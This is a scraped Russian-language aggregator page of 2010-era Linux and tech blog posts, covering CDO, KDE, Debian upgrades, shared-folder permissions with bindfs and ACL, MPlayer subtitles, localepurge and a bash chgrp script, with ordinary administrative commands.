Задача: проводить манипуляции с файлами формата netCDF, в том числе осреднение и выборку по различным осям, установку временной оси, интерполяцию полей, объединение и разделение файлов.
Инструмент: CDO (Climate Data Operators)

Причина, по которой я так долго тянул с постом о cdo, наверное в том, что они настолько незаметны и настолько часто мной используются, что я практически забываю об их существовании, воспринимая больше просто как некие обычные команды шела. Однако без них жизнь человека работающего с netCDF (а также GRIB) файлами становится гораздо неуютнее. На сегодняшний день существует около 400 операторов, позволяющих проводить первичную обработку файлов. Как бы я не любил Python, поручить ему обработку террабайтов информации значит обречь себя на очень долгое ожидание, тогда как cdo, написанные на C++, справляются с крупномасштабными задачами сравнительно быстро, при этом обладают очень простым для понимания синтаксисом.

В посте я расскажу об установке CDO под Ububtu 10.04 и Windows (да, они есть и под винду) покажу как пользоваться несколькими наиболее популярными их функциями.
(more...)

Чем нарезать HD-видео? — Matter of Attitude

Чем бы нарезать HD-видео?

Хорошо бы с минимальными потерями в качестве.

О недавно прошедшем Assembly Summer 2010 и грядущем CC — записки юного БСДешника

Тут у меня очередное увлечение, ну не то что бы новое, но так скажим обострившееся :)
Не далее как на прошлых выходных, а точнее с 5-го по 8-е августа прошло весьма примечательное событие Assembly Summer 2010, я его наблюдал переодически онлайн, как наверное и многие кому эта тема не безразлична.
Вот как описаны цели мероприятия у них на сайте
ASSEMBLY is a four day computer festival, in which thousands of people and their computers spend the long weekend by meeting friends, playing games, surfing on the net, talking on IRC and enjoying the great productions from the demoscene.
Там конечно всё расписано подробнее, но эта фраза по моему вполне красноречиво описывает общую суть события, ну и для представления о масштабах мероприятия, советую посмотреть фото.
Ну и проводится куча всяких конкурсов, начиная со всяких демонстраций демо и графических работ, до игр на компютерах или на свежем воздухе, в общем пожалуй каждый может найти что посмотреть и чем занятся.
одна из работ этого года
Ну и конечно же без какой нибудь видяшки этот пост был бы неполным, мне из программы этого года понравилась в том числе и вот эта
<object height="295" width="480"><param name="movie" value="http://www.youtube.com/v/bxKOCmW-EiI&amp;hl=en_US&amp;fs=1"/><param name="allowFullScreen" value="true"/><param name="allowscriptaccess" value="always"/><embed allowfullscreen="true" allowscriptaccess="never" height="295" src="http://www.youtube.com/v/bxKOCmW-EiI&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" width="480" wmode="transparent"></embed></object>
Ну и остальные работы можно посмотреть на их ютуб канале, ну или побродя по ссылкам на AssemblyTV.
Ну вот кратенько пожалуй и всё, разве что ещё понравилось радиостанция  scenesat.com по моему очень неплохо подбирают репертуарчик.

Ну и теперь немного о местном аналоге Chaos Constructions, в этом году будет проходить очередной то ли 10-й то ли 13-й фестиваль, благо систем отсчета хватает, кому интересно советую посетить сайт Chaos Constructions’2010, на нем публикуется информация о статусе подготовке фестиваля, а так же можно записаться на посещение семинаров, или даже совершить безумное послать свою работу на один из конкурсов.
Ну и так же не стоит забывать что те же конкурсы будут идти и на самом мероприятии, да и просто побродить и посмотреть там есть на что, от старой, порой весьма редкой в наших краях компьютерной техники, до демонстрации тех же конкурсных работ.

Для тех кто тут не давно, прошлые пару лет я даже сочинял отчеты о том как сам ходил со всякими фотками, и прочим, тега я как то не завел так что придется поискать благо поиск тут вроде нормальный, ну или по дате, последнии выходные Августа.
А ну да и на русском языке есть ресурсы посвященные освещению демосцены, например тот же demoscene.ru.

Хотя как это не прискорбно большинство демо, делаются на всяких виндовсах, но и альтернативные системы не обойдены вниманием, вон например нашел чей то личный сайт, где некоторые демо выложены в исходниках.

Апгрейд сервера до Squeeze — Прикладная дебианавтика

Очередной тестинг на днях заморозили и я решил, что пришло время по крайней мере личные сервера апнуть. Расскажу о тех проблемах с которыми столкнулся при апгрейде своего основного web-хоста и как их победил.

Сайт Jigdo не работает — О Линуксе и не только » runix

В связи с новостью о заморозке Debian Squeeze решил собрать образ тестируемого DVD. Собираю в Arch Linux, пошел искать jigdo в AUR-e. Jigdo – это такая мегаполезная утилитка для сборки образов дисков, и может, еще для чего-нибудь. Неудивительно, что PKGBUILD для сборки jigdo в AUR-e есть. Однако, при попытке сборки makepkg ругнулся на  MD5 сумму файла jigdo-0.7.3.tar.bz2, и отвалился. Открываем сайт – вуаля, а там куча рекламы. Вовремя не оплатили доменчик?

Откуда брать исходники, как временно решение, Вы можете прочесть на той же страничке в AUR-e. Используйте зеркала Debian, скажем, вот так

source=("http://mirror.yandex.ru/debian/pool/main/j/jigdo/jigdo_0.7.3.orig.tar.gz")

Ну, и не забудьте поменять MD5SUM файла!

KDE SC 4.5: Dolphin — K Notes

Во-вот должна выйти первая стабильная версия KDE SC 4.5 (дата выхода которого, кстати, была перенесена на неделю) и мы возобновляем рассказ о самых интересных новшествах этой ветки.

Итак, в главном файловом менеджере KDE можно выделить три основных изменения. Во-первых, меню вроде «Additional information» и «Sort By» теперь можно вынести на панель в виде отдельных кнопок. Думаю, это будет полезно любителям отключать строку меню во всех своих приложениях.

Во-вторых, все метаданные файла, от продолжительности видео до рейтинга Nepomuk, наконец-то стали доступны в диалоге свойств файла! А значит их можно посмотреть/изменить не только в Dolphin, но и в Konqueror, файловой панели Kate, диалоге выбора файла и и т.д.

Содержимое вкладки можно настраивать, причём настройки применяются и к панели «Информация» Dolphin.

Ну и самое главное — информация медиафайлов (такая как разрешение изображения) теперь отображается и для неиндексированных файлов! Хорошая новость для тех, кто отключает Strigi и Nepomuk сразу после первого запуска KDE.

Кстати, в KDE SC 4.6 функция поиска также сможет работать без Nepomuk. Он по-прежнему будет использоваться для поиска по индексированным каталогам, а для всех остальных будет вызываться KFind. Сам интерфейс тоже изменится: по умолчанию строка поиска будет скрыта, а при нажатии Ctrl+F она заменит собой строку адреса. На появившейся внизу панели можно будет указать, где именно производить поиск (везде или в текущем каталоге, в имени файла или его содержимом). Для поиска по дате, рейтингу и т.п. следует нажать кнопку фильтра справа, при этом панель поиска расширится:

Сразу замечу, что на скриншоте показан не конечный вариант интерфейса, и над ним будет вестись дальнейшая работа.

Добавление нашего блога в систему Блогун

Решил сегодня добавить блог в Блогун – блог висит давно – пусть хоть стоимость домена отрабатывает)

dbupdate — всегда актуальный dropbox — ♠ Краплёная колода

Приветствую вас из солнечного Логойска, где очередные выходные пытаемся спастись от пекла и духоты бетонного Минска. Ответьте на простой вопрос: пользуетесь ли вы dropbox'ом? Нет, к сожалению, я не смогу рассказать, как с помощью этого сервиса синхронизировать температуру с комфортными параметрами. Вопрос без подковырок и, мне кажется, большинтво из вас ответит утвердительно. Отлично, тогда предлагаю стилизовать иконку клиента под свои нужды (эстетическая жилка у линуксоидов, судя по скриншотам, гипертрофирована :-)). Разработчиков давно просили сделать подобную опцию, теперь это возможно в тестовых сборках. Помимо "рюшечек" в тестовой ветке реализовали т. н. selective sync (выборочная синхронизация отдельных каталогов). За подробностями, как обычно, к ChangeLog'ам.


Есть на земле добры молодцы, понимающие, что рутина с копированием и распаковкой архивов с новыми версиями — дело не барское. Сие обязательство возложим на bash-скрипт dbupdate. Народный умелец рекомендует установить скрипт из репозитория Debian/Ubuntu, к слову, находящегося на сервере dropbox. Хитро, но я предпочёл обойтись исходником скрипта, чтобы контролировать обновления самостоятельно. Не забываем сделать исполняемым:
chmod +x dbupdate0.2.17

Вперёд, на баррикады!
./dbupdate0.2.17 -u -n -g

Назначение переданных ключей следующее:
-u обновить текущую версию
-n показывать уведомления через notify-send
-g показывать процесс загрузки

Традиционно, информацию о работе скрипта получаем с помощью ключа -h. Набор иконок позаимствовал на тамошнем форуме (секция Monochrome).


Если вы прочитали по инерции до конца, но dropbox в глаза не видели, торопитесь исправить упущенное. Коль надумаете регистрироваться, отсыпьте пару мегабайт себе и автору, пройдя по специальной ссылке.

UPD: Yurij подсказал в комментариях, что кулибины не преминули написать скрипт для смены набора иконок (для светлых и тёмных тем оформления).

Пропуск проверки ФС при загрузке с CTRL-C — Debiania: просто ещё один блог о Debian

Эта маленькая заметка — перевод поста Лукаса Нуссбаума (Lucas Hussbaum).

Согласно закону Мерфи, проверка fsck, происходящая каждые n загрузок, всегда случается в самое неподходящее время. По умолчанию, прерывание проверки с помощью CTRL-C заставляет fsck возвращать код ошибки, что приводит к перемонтированию файловой системы в режиме «только чтение». Но это легко меняется правкой /etc/e2fsck.conf:

[options]
allow_cancellation = true

Карманное глобальное потепление — Записки океанолога - обработка и визуализация данных » nix

android_categories.jpgНедавно я стал счастливым обладателем HTC Desire, телефона на платформе Android. Но про этот телефон уже столько всего понаписано, что добавлять свои пять копеек смысла особого не имеет. Вместо этого я расскажу об Android приложении, которое вооружит вас против скептиков, сомневающихся в глобальном потеплении.

Практически на любой их аргумент вы почти мгновенно сможете представить если не полноценную научно популярную заметку, то как минимум список публикаций по теме. К слову есть подобные приложения для iPhone и Nokia, так что владельцы альтернативных платформ также имеют возможность при случае блеснуть интеллектом.

(more...)

Сергей

Удаление пыли на матрице в Gimp — советы.блогспот.ком

Недавно нашёл лёгкий способ удалять пятна грязи с фотографий. Речь о пятнах пыли на матрице. Если на камере объективы сменные и иногда меняются, грязь на фоточувствительный элемент рано или поздно проберётся. И встроенная очистка справляется с ней с переменным успехом. Выглядят эти пятна примерно так:

Пятна от грязи на матрице

Их легко распознать, они появляются во всех снимках серии на одном и том же месте. Наиболее заметны они становятся на маленькой диафрагме, при съёмке более-менее однотонных объектов (небо, море, далёкие холмы). Поэтому можно поставить маленькую диафрагму (скажем, f/22 или меньше) и снять чистое небо. Если пятна сильно заметны, то матрицу придётся чистить.

Я же расскажу, что делать с фотками, на которых эти пятна уже есть. Использую для этих целей Gimp и плагин Resynthesizer. Конечно, можно было бы обойтись обычной клонирующей кистью, но вычищать несколько фотографий подряд, особенно если там по несколько пятен на каждой, утомительно. А Resynthesizer оказался неплохой автоматической «клонирующей кистью». Пользователи Ubuntu могут установить плагин пакетом gimp-resynthesizer.

Вначале пятна надо найти и выделить. Я обычно использую свободное выделение (лассо). Чтобы выделить сразу несколько пятен, удерживаю нажатой клавишу Shift. Важно захватить в выделение достаточное количество «чистых» пикселей на границе: они влияют на результат работы Resynthesizer.

Затем можно запустить сам плагин: Фильтры -> Карта -> Resynthesize.... В общем, параметры по-умолчанию работают обычно достаточно хорошо. Возможности периодического мощения (make ... tileable) нам в этом случае не нужны.



Плагин не очень шустрый. На большой фотке (10-15 мегапикселей) нужно будет несколько секунд подождать. Впрочем, это всё равно быстрее и легче, чем использовать клонирующую кисть.

Наконец, нужно осмотреть результат, нет ли никаках странностей. Скорее всего, всё будет нормально (пятна обычно заметны как раз на таких местах, которые Resynthesizer легко восстанавливает: небо, облака, море, сплошная растительность). Если выделение было слишком тесным, его граница прошла слишком близким к пятну, то на месте пятна может всё равно остаться размазанное потемнение. В этом случае нужно отменить исправление и повторить, выделив пятна по-другому. Однако обычно всё удаляется с первой попытки:

Пятна грязи на матрице удалены плагином Resynthesizer

В общем, чистого всем неба! Если полезно — Flattr this.

Riviera

Also in English: Cleaning sensor dust with Gimp.

Работа с bazaar в Ubuntu — Take World

Bazaar - распределенная система контроля версий. Еще есть распределенные системы git и hg, но в отличии от них bazaar очень простая система, и к ней существуют GUI.

На их сайте можно посмотреть список gui, но я остановлюсь на 2 самых интересных на мой взгляд.

Первое что хочется людям от bazaar, это интеграцию в меню, как у tortoisesvn (windows), что бы на файлах были метки, и можно было подтверждать изменения через правую кнопку.

nautilus-bzr
В Ubuntu для этой цели существует пакет nautilus-bzr, поставить его можно следующей коммандой
<script class="brush: js" type="syntaxhighlighter"></script>


qbzr
Иногда хочется красиво посмотреть изменения в проекте, не привязываясь к отдельному графическому интерфейсу, прямо из консоли (все равно она запущена для компиляции, или еще чего). Для этого нужно поставить пакет qbzr: <script class="brush: js" type="syntaxhighlighter"></script>

После чего в bzr появятся новые команды, например qlog, qcommit, qdiff. Выглядит это примерно так: <script class="brush: js" type="syntaxhighlighter"></script>


[KDE] Oxygen-transperent — Expl0rer's Weblog » Linux

На KDE-Look появилась информация об официальной  экспериментальной ветке Oxygen с поддержкой прозрачности.  Если я правильно понимаю, сейчас подобного эффекта можно достичь только заменив KWin на Compiz и активировав соответствующие эффекты.

Стиль основан на версии 4.5 и, в случае отсутствия серьезных проблем, может попасть уже в версию SC4.6.  Для ArchLinux есть готовый PKGBUILD.

Вот еще один скриншот с неизменной критикой от лоровцев.


Небольшая иллюстрация к предыдущему — Случайные заметки

Нашёл у Гейтинга [1] иллюстрацию к изоморфизму Карри-Ховарда. Что интересно: насколько я понял, эта иллюстрация была сформулирована до самого изоморфизма.

«Пусть A обозначает свойство натурального числа быть кратным 8, B — быть кратным 4, C — кратным 2. 8a мы можем записать как 4∙2a; благодаря этому математическому построению (P) мы видим, что свойство A влечёт свойство B, или A → B. Подобное построение (Q) показывает, что B → C. Употребляя сначала P, потом Q (суперпозиция P и Q), мы получаем 8a = 2∙(2∙2a), что доказывает A → C. Этот процесс остаётся пригодным, если вместо A, B, C мы подставим произвольные свойства. А именно, если построение P доказывает, что A → B, и построение Q доказывает, что B → C, то суперпозиция P и Q доказывает, что A → C».

Если считать «построения» функциями, то из этого рассуждения увидим, что существование операции суперпозиции двух функций (P и Q) доказывает транзитивность импликации:

(.) :: (b -> c) -> (a -> b) -> a -> c

[1] А. Гейтинг. Введение в интуиционизм. М.: Мир, 1965.

Guitar Tabs Explorer - каталогизатор табулатур — Nix Daily


Простая и очень удобная программа для упорядочивания и управления вашей коллекцией табов.


FEATURES:
* Load tabs into collection from folder
* Load tabs into collection from compressed archives. (Archive isn't decompressed)
* Open tabs from collection with a double click
* Extract tabs to open from an archive on the fly (decompressed on a temporary folder)
* Search collection in real time when type keywords in filter text field
* Collection's tabs rating



SUPPORTED FORMATS:
Tablature file formats supported are:
* Guitar Pro Tabs: .gtp, .gp3, .gp4, .gp5
* Tux Guitar Tabs: .tg
* KGuitar Tabs: .kg

Compressed tabs archives supported are:
* Zip
* Rar



http://gtk-apps.org/content/show.php/Guitar+Tabs+Explorer?content=102461

Compiz vs KWin — Expl0rer's Weblog » Linux

К сожалению на моем слабеньком ноутбуке со встроенной intell видеокартой производительность KWin сильно уступает Compiz.   В общем то, никто не мешает использовать Compiz совместно с KDE, установив пакет compiz-decorator-kde (в Arch Linux), но данное решение я воспринимаю как временное и надеюсь на улучшение ситуации с производительностью в будущем.

KWin, как проект, значительно моложе Compiz-а и есть надежда, что в будущих версиях производительность этого композитного менеджера изменится к лучшему.  Кроме того, как я заметил,  KWin развивается гораздо активнее, особенно в последнее время, в то время как в Compiz занимаются только оптимизацией производительности.


Ejecter - извлекаем устройства просто и со вкусом — Nix Daily


Ejecter - небольшая утилитка обитающая в трее, в её задачи входит размонтирование внешних устройств подключенных к системе, например usb брелоки, внешние hdd, cd/dvd и тому подобное добро.

http://gtk-apps.org/content/show.php/Ejecter?content=96727
https://launchpad.net/ejecter

Создаем общий раздел/каталог с помощью bindfs — Leolik's blog

Эта статья является продолжением к теме создания общего раздела/каталога для нескольких пользователей системы. В данном случае для раздела с файловой системой ext4. Буквально вчера, я написал как создать такой каталог с помощью ACL(POSIX Access Control Lists). Но, как мне правильно потом подсказал товарищ Karapuz - "ACL справедлив только для новых, ранее ни где не существовавших файлов, повторяю, только для новых. Если файл копировать или перемещать, то права остаются такие же как у исходного файла, то есть тоже копируются или перемещаются. " Действительно, так оно и есть. Но, предложенные им два варианта решения данной проблемы с помощью своеобразных костылей, меня как-то совсем не порадовали, поэтому я быстренько отыскал вариант, который, как мне показалось, является наилучшим вариантом решения моей проблемы.

Установка и монтирование с помощью bindfs

1. Устанавливаем пакет из universe репозитория (не забудьте его подключить в 'Источники приложений'):
$

2. На данный момент, у меня уже примонтирован etx4 раздел, с помощью стандартной строки в fstab
UUID=<uuid> /media/Data ext4 defaults,relatime 0 0
3. Теперь я монтирую каталог '/media/Data' в то же самое место, куда он смонтирован через fstab, с нужными мне опциями:
$

sudo bindfs -o perms=0770,mirror=@family,group=family /media/Data/ /media/Data/

где:
perms=0770 = разрешения (в данном случае 0770, означает, что файлы будут иметь разрешения rwxrwx---, тоесть владелец и члены группы имеют полный доступ к файлу, а другим пользователям, доступ ограничен );
mirror=@family - все пользователи группы family будут считаться владельцами файлов в расшаренной папке;
group=family - всем создаваемым файлам, а также скопированным или перенесенным в расшаренную папку, будет сразу присваиваться указанная группа family.
Больше про опции можно почитать в man'е к bindfs.

Автомонтирование bindfs через fstab

1. В моем случае строка в '/etc/fstab' для bindfs, выглядит так:
bindfs#/media/Data/. /media/Data/. fuse perms=0770,mirror=@family,group=family 0 0
эта запись монтирует папку в то же место, куда она примонтирована. Но никто не мешает вам смонтировать папку в другой каталог. Например:
bindfs#/media/Data /home/data fuse perms=0770,mirror=@family,group=family 0 0

Вот и все. На этом варианте я и остановился.


Разрешения для общего раздела с помощью ACL(POSIX Access Control Lists) — Leolik's blog

Не так давно, после покупки жене ноутбука Samsung R528(NP-R528-DS03UA) я столкнулся со следующей проблемой. Так как планировалось на нотике работать и мне, и жене, то соответственно, потребовался общий раздел для совместных файлов (музыка, доки, фильмы и т.п.).
1. Раздел я создал с файловой системой ext4, в системе он обозначен, как '/dev/sda7'. 2. Также прописал его в fstab для автомонтирования при загрузке в каталог '/media/Data'.
3. Далее, 1) создал группу family, 2) добавил туда себя и жену, 3) выставил права общему каталогу на чтение/запись для группы family.
4. Проверил, файлы видны, можно их копировать, но возникла большая неприятность, я не могу изменить или удалить файлы добавленные женой и точно также она не может изменить или удалить файлы добавленные мной.
5. Хотел добавить в fstab, в строку монтирования, параметр 'umask=0222', но вспомнил, что ext4 этот параметр не понимает.
6. Я думаю, что есть более простые способы исправления сложившейся ситуации, но в данной ситуации мне помог
ACL(POSIX Access Control Lists) и данный пост с форума.

Установка и настройка

1. Устанавливаем acl, если он еще не стоит:
$
sudo apt-get install acl

2. Отмонтируем раздел, если он уже примонтирован:
$
sudo umount /dev/sda7

3. Редактируем файл '/etc/fstab'
$
sudo nano /etc/fstab

и добавляем в строку монтирования нужного нам раздела, параметр acl. В результате должно получиться, что-то вроде этого:
/dev/sda7 /media/Data ext4 defaults,relatime,acl 0 0
или, если используется UUID, то примерно так:
UUID=ffd6d569-1146-4c31-95e0-36d47bfd187c /media/Data ext4 defaults,relatime,acl 0 0
4. Снова монтируем устройство
$
sudo mount -a

5. Ну и самое главное. Для каталога '/media/Data', выставляем права на чтение, запись и запуск для всех пользователей из группы family:
$
sudo setfacl -dm g:family:rwx /media/Data

где:
-d - установить разрешения по умолчанию;
-m - изменить выбранные разрешения;
g - группа, для которой выставляются разрешения;
family - название группы;
rwx - устанавливаемые разрешения (чтение,запись,запуск).

6. Проверяем, применились ли наши изменения
$
getfacl /media/Data

у меня это выглядит так:
getfacl: Удаление начальных '/' из абсолютных путей
# file: media/Data
# owner: root
# group: family
user::rwx
group::rwx
other::rwx
default:user::rwx
default:group::r-x
default:group:family:rwx
default:mask::rwx
default:other::r-x
6. Для уверенности, перегружаемся.
Все стало работать как я хотел, но правда это касается только новых файлов. Копируемые извне файлы, остаются со своими правами.

Обновлено 27.07.2010г в 21:24


«Мигающие» субтитры в MPlayer — Debiania: просто ещё один блог о Debian

Недавно столкнулся с тем, что субтитры в MPlayer как бы «мигают»: появляются, через миг пропадают, а ещё через миг появляются снова, уже никуда не пропадая — до следующей фразы. Наблюдалось такое несчастье только с SubStation Alpha (расширение .ssa или .ass). Отключение опции -ass помогает, но смотреть без оформления не так интересно…

К счастью, всё легко чинится — просто добавьте опцию -correct-pts. Согласно ману:
-correct-pts (экспериментально)
Переключает MPlayer в экспериментальный режим, в котором тайминг видео кадров рассчитываются независимо, и тем самым поддерживаются видео фильтры, добавляющие новые кадры или меняющие тайминг существующих. Более точный тайминг может быть заметен, например, при воспроизведении с опцией -ass субтитров, привязанных к смене сцены. Без -correct-pts тайминг субтитров, как правило, будет отключен некоторыми кадрами. С некоторыми демультиплексорами и кодеками эта опция работает некорректно.

Ну а чтобы не указывать её каждый раз, допишите в конфиг такую строку:
correct-pts=1
vanoc

localepurge удаление лишних локалей — vanoc.ru

localepurge – программа очистки не используемых локалей, т.е. переводов, манов, справок и прочее на различных языках. Большинство из них не нужны и хранить на компьютере не имеет смысла, особенно в условиях ограниченного объема.

Пакет есть в репозиториях, поэтому установка выглядит так
sudo aptitude install localepurge

Во время установки программа предложит выбрать необходимые локали.


Будьте осторожны с выбором локалей, иначе неправильный выбор может повлечь удаление всех файлов локалей, даже тех, которые вы используете. После этого восстановить их можно будет только переустановкой всех пакетов, их предоставляющих.

Дополнительно настроить можно выполнив
sudo dpkg-reconfigure localepurge

Все настройки хранятся в файле /etc/locale.nopurge Там же можно увидеть выбранные локали. У меня такие
en
en_US
en_US.ISO-8859-15
en_US.UTF-8
ru
ru_RU
ru_RU.CP1251
ru_RU.KOI8-R
ru_RU.UTF-8

Запустить программу можно выполнив
~$ localepurge
localepurge: Disk space freed in /usr/share/locale: 0 KiB
localepurge: Disk space freed in /usr/share/man: 0 KiB
localepurge: Disk space freed in /usr/share/gnome/help: 0 KiB
localepurge: Disk space freed in /usr/share/omf: 0 KiB
localepurge: Disk space freed in /usr/share/doc/kde/HTML: 0 KiB
Total disk space freed by localepurge: 0 KiB

однако этого можно не делать, т.к. программа автоматически будет выполняться при установке/удалении программ.

Я уже запускал localepurge, поэтому сейчас показывает 0 KiB. Ранее удалилось ~177 Мб.

SSH на стероидах — Прикладная дебианавтика

Опишу хак, котоорый использую для ускорения работы по SSH.

Во время работы очень часто соединяюсь с несколькими хостами: хост с репозитариями git и mercurial, девелоперский хост, хосты массового хостинга. Время на соединение получается довольно внушительное и зависит в основном не от скорости канала, а от провисания. При соединении с хостом в Германии, с которым я работаю ну очень часто (и с него же отдаётся этот блог) задержка в лучшем случае 5 секунд. Неприятно, особенно когда речь идёт не о том, чтобы открыть консоль, а например просто вдавить в репозитарий набор изменений и продолжить работать.

bash->установка бита владельца директории из списка — sb0y[AT]home

Недавно пришлось решать немного странную задачку на BASH. Был список в текстовом формате:

группа=путь

Нужно было пройтись по каждому элементу списка и установить группу указанного в нём же.
На сервере стоял старый BASH, ассоциативных массивов, в котором ещё небыло.

Написал вот это:

#!/bin/bash
 
if [ "$1" == "--help" ] || [ "$1" == "help" ]
then
	echo "Использование: <имя скрипта> <путь до списка> <путь до лог-файла> Все параметры не обязательны. Если скрипт не получит путь до файла-списка - попытается открыть файл 'list' в своей директории. Тоже самое касается лог-файла.";
	exit 0;
fi
 
if [ -z "$2" ]
then
	log="log.txt";
else
	log=$2;
fi
 
mess () {
 
	date=`date +%D-%r`;
	echo "[ $date] $1" >> $log;
	echo "[ $date] $1";
 
	if [ "$2" -eq 1 ]
	then
		exit 1;
	fi
}
 
if [ -w "$log" ]
then
echo "";
else
	mess "Лог-файл не доступен для записи." 0;
fi
 
if [ -z "$1" ]
then
	l="list";
else
	l=$1;
fi
 
list=$(cat $l);
 
if [ -z "$list" ]
then
	mess "Ошибка при открытии файла-списка!" 1;
fi
 
for i in $list;
do
	group=`echo $i|cut -d "=" -f 1`
	dir=`echo $i|cut -d "=" -f 2`
 
	if `chgrp -R $group $dir`
	then
		mess "Установлена группа '$group' для дир. '$dir'" 0;
	else
		mess "Ошибка при обработке дир. '$dir'" 0;
	fi
done

Скрипт по умолчанию считывает текстовый файл «list», лежащий рядом, в его директории. Если есть потребность указать файл из другой директории, вызывайте скрипт так:

script <путь-до-файл-листа> <путь-до-лог-файла>

Ещё можно посмотреть help-сообщение, командой script –help.

Технический этаж